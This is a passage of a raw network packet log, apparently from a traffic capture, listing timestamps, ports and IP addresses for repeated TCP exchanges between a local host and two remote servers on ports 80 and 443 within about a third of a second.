Nov 26, 2024 08:03:46.859740973 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.859838009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.859886885 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.860641956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.860794067 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.861371040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.861536026 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.861639977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.861701965 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.862508059 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.862565994 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.862576008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.862648010 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.864032984 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.864042997 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.864089012 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.864274979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.864329100 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.864341974 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.864422083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.865149975 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.865201950 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.865653992 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.865741968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.866029024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.866075039 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.866142035 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.866250992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.866962910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.867022038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.867058992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.867084980 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.867871046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.867973089 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.868058920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.868798971 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.868947983 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.869035959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.869859934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.869904995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.869920015 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.869976044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.870557070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.870611906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.870639086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.870685101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.871453047 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.871511936 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.871553898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.871721983 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.872394085 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.872452021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.872467041 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.872572899 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.873307943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.873373032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.873393059 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.873415947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.874191999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.874242067 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.874269009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.874336004 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.875113010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.875190973 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.875220060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.875408888 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.875982046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.876045942 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.876089096 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.876136065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.876890898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.876935959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.876972914 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.877048016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.877835989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.877873898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.877887964 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.878160954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.878669024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.878751040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.878796101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.878880978 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.879805088 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.879817009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.879856110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.879884005 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.880497932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.880544901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.880585909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.880631924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.881434917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.881490946 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.881520987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.881695032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.882354975 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.882460117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.882472038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.882539988 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.883215904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.883359909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.883394003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.883409023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.884243965 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.884253979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.884298086 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.885019064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.885116100 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.885185003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.885885000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.885935068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.886010885 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.886070967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.886815071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.886876106 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.886907101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.886986017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.887749910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.887794018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.887809992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.887825012 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.888653040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.888773918 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.888868093 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.889539957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.889555931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.889604092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.890407085 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.890476942 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.890588999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.890635967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.891253948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:46.891309023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:46.981694937 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.981724977 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.981779099 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:46.981852055 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:46.981888056 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:46.981957912 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.040612936 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.040641069 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.040721893 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.040749073 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.040839911 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.054358006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.054441929 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.054548025 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.054619074 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.054846048 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.054955006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.055057049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.055078983 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.055113077 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.055855989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.055916071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.055979967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.056016922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.056757927 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.056835890 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.056895018 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.057672024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.057725906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.057784081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.057866096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.058568954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.058631897 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.058666945 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.058712959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.059657097 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.059735060 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.059766054 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.059982061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.060395002 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.060525894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.060610056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.061343908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.061419010 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.061451912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.061511040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.062175989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.062231064 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.062266111 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.062467098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.063088894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.063148022 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.063184977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.063282013 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.063977957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.064043999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.064100027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.064897060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.064958096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.065015078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.065175056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.065798044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.065896034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.065923929 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.065968037 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.066705942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.066719055 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.066752911 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.067639112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.067744017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.067764997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.067796946 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.068496943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.068545103 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.068598986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.068645954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.069385052 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.069540977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.069601059 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.070288897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.070400000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.070442915 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.071190119 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.071244955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.071268082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.071342945 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.072052956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.072191954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.072309017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.073008060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.073101044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.073137999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.073920012 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.073986053 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.073992014 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.074896097 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.074933052 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.074959993 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.075520992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.075820923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.075912952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.075948954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.075990915 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.076621056 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.076730013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.076775074 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.077505112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.077616930 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.077650070 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.077681065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.078414917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.078557014 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.078614950 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.079350948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.079408884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.079443932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.079629898 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.080821037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.080879927 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.080899954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.080949068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.081834078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.081886053 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.081892967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.082109928 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.082971096 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.083036900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.083158016 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.083297014 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.084614038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.084835052 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.084913015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.085319996 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.085342884 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.086046934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.086106062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.086122036 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.086762905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.086817980 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.086997986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.087125063 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.087913036 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.087955952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.088032961 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.088032961 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.088454008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.088535070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.088591099 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.089468002 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.089540958 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.089543104 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.089737892 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.090118885 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.090219975 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.090269089 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.090699911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.090755939 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.090785027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.090846062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.091495037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.091501951 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.091555119 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.091989994 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.092205048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.092925072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.092931986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.092952013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.092993021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.093046904 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.093807936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.093915939 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.093969107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.094047070 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.095005989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.095079899 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.095113039 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.095168114 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.095582008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.095698118 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.095704079 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.095746994 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.096481085 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.096595049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.096640110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.097456932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.097671986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.097723961 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.098289967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.098360062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.098408937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.099303007 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.099427938 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.099478960 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.100080013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.100182056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.100203037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.100455999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.101027966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.101075888 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.101109028 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.101314068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.142242908 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.142268896 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.142347097 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.142373085 CET	443	49794	104.40.82.182	192.168.2.8
Nov 26, 2024 08:03:47.142401934 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.142421961 CET	49794	443	192.168.2.8	104.40.82.182
Nov 26, 2024 08:03:47.183065891 CET	443	49794	104.40.82.182	192.168.2.8
